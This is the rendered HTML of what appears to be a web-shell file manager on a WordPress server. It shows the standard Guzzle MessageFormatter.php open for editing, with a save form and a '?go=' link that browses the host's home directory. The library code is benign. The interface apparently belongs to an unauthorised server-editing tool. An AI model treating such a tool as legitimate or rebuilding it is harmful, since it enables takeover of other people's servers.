<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: MessageFormatter.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
namespace GuzzleHttp;

use Psr\Http\Message\MessageInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

/**
 * Formats log messages using variable substitutions for requests, responses,
 * and other transactional data.
 *
 * The following variable substitutions are supported:
 *
 * - {request}:        Full HTTP request message
 * - {response}:       Full HTTP response message
 * - {ts}:             ISO 8601 date in GMT
 * - {date_iso_8601}   ISO 8601 date in GMT
 * - {date_common_log} Apache common log date using the configured timezone.
 * - {host}:           Host of the request
 * - {method}:         Method of the request
 * - {uri}:            URI of the request
 * - {host}:           Host of the request
 * - {version}:        Protocol version
 * - {target}:         Request target of the request (path + query + fragment)
 * - {hostname}:       Hostname of the machine that sent the request
 * - {code}:           Status code of the response (if available)
 * - {phrase}:         Reason phrase of the response  (if available)
 * - {error}:          Any error messages (if available)
 * - {req_header_*}:   Replace `*` with the lowercased name of a request header to add to the message
 * - {res_header_*}:   Replace `*` with the lowercased name of a response header to add to the message
 * - {req_headers}:    Request headers
 * - {res_headers}:    Response headers
 * - {req_body}:       Request body
 * - {res_body}:       Response body
 */
class MessageFormatter
{
    /**
     * Apache Common Log Format.
     * @link http://httpd.apache.org/docs/2.4/logs.html#common
     * @var string
     */
    const CLF = &quot;{hostname} {req_header_User-Agent} - [{date_common_log}] \&quot;{method} {target} HTTP/{version}\&quot; {code} {res_header_Content-Length}&quot;;
    const DEBUG = &quot;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;\n{request}\n&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n{response}\n--------\n{error}&quot;;
    const SHORT = '[{ts}] &quot;{method} {target} HTTP/{version}&quot; {code}';

    /** @var string Template used to format log messages */
    private $template;

    /**
     * @param string $template Log message template
     */
    public function __construct($template = self::CLF)
    {
        $this-&gt;template = $template ?: self::CLF;
    }

    /**
     * Returns a formatted message string.
     *
     * @param RequestInterface  $request  Request that was sent
     * @param ResponseInterface $response Response that was received
     * @param \Exception        $error    Exception that was received
     *
     * @return string
     */
    public function format(
        RequestInterface $request,
        ResponseInterface $response = null,
        \Exception $error = null
    ) {
        $cache = [];

        return preg_replace_callback(
            '/{\s*([A-Za-z_\-\.0-9]+)\s*}/',
            function (array $matches) use ($request, $response, $error, &amp;$cache) {

                if (isset($cache[$matches[1]])) {
                    return $cache[$matches[1]];
                }

                $result = '';
                switch ($matches[1]) {
                    case 'request':
                        $result = Psr7\str($request);
                        break;
                    case 'response':
                        $result = $response ? Psr7\str($response) : '';
                        break;
                    case 'req_headers':
                        $result = trim($request-&gt;getMethod()
                                . ' ' . $request-&gt;getRequestTarget())
                            . ' HTTP/' . $request-&gt;getProtocolVersion() . &quot;\r\n&quot;
                            . $this-&gt;headers($request);
                        break;
                    case 'res_headers':
                        $result = $response ?
                            sprintf(
                                'HTTP/%s %d %s',
                                $response-&gt;getProtocolVersion(),
                                $response-&gt;getStatusCode(),
                                $response-&gt;getReasonPhrase()
                            ) . &quot;\r\n&quot; . $this-&gt;headers($response)
                            : 'NULL';
                        break;
                    case 'req_body':
                        $result = $request-&gt;getBody();
                        break;
                    case 'res_body':
                        $result = $response ? $response-&gt;getBody() : 'NULL';
                        break;
                    case 'ts':
                    case 'date_iso_8601':
                        $result = gmdate('c');
                        break;
                    case 'date_common_log':
                        $result = date('d/M/Y:H:i:s O');
                        break;
                    case 'method':
                        $result = $request-&gt;getMethod();
                        break;
                    case 'version':
                        $result = $request-&gt;getProtocolVersion();
                        break;
                    case 'uri':
                    case 'url':
                        $result = $request-&gt;getUri();
                        break;
                    case 'target':
                        $result = $request-&gt;getRequestTarget();
                        break;
                    case 'req_version':
                        $result = $request-&gt;getProtocolVersion();
                        break;
                    case 'res_version':
                        $result = $response
                            ? $response-&gt;getProtocolVersion()
                            : 'NULL';
                        break;
                    case 'host':
                        $result = $request-&gt;getHeaderLine('Host');
                        break;
                    case 'hostname':
                        $result = gethostname();
                        break;
                    case 'code':
                        $result = $response ? $response-&gt;getStatusCode() : 'NULL';
                        break;
                    case 'phrase':
                        $result = $response ? $response-&gt;getReasonPhrase() : 'NULL';
                        break;
                    case 'error':
                        $result = $error ? $error-&gt;getMessage() : 'NULL';
                        break;
                    default:
                        // handle prefixed dynamic headers
                        if (strpos($matches[1], 'req_header_') === 0) {
                            $result = $request-&gt;getHeaderLine(substr($matches[1], 11));
                        } elseif (strpos($matches[1], 'res_header_') === 0) {
                            $result = $response
                                ? $response-&gt;getHeaderLine(substr($matches[1], 11))
                                : 'NULL';
                        }
                }

                $cache[$matches[1]] = $result;
                return $result;
            },
            $this-&gt;template
        );
    }

    private function headers(MessageInterface $message)
    {
        $result = '';
        foreach ($message-&gt;getHeaders() as $name =&gt; $values) {
            $result .= $name . ': ' . implode(', ', $values) . &quot;\r\n&quot;;
        }

        return trim($result);
    }
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250804013034%2Fplugins%2Fw3-total-cache%2Flib%2FAzure%2FGuzzleHttp'>🔙 Back</a>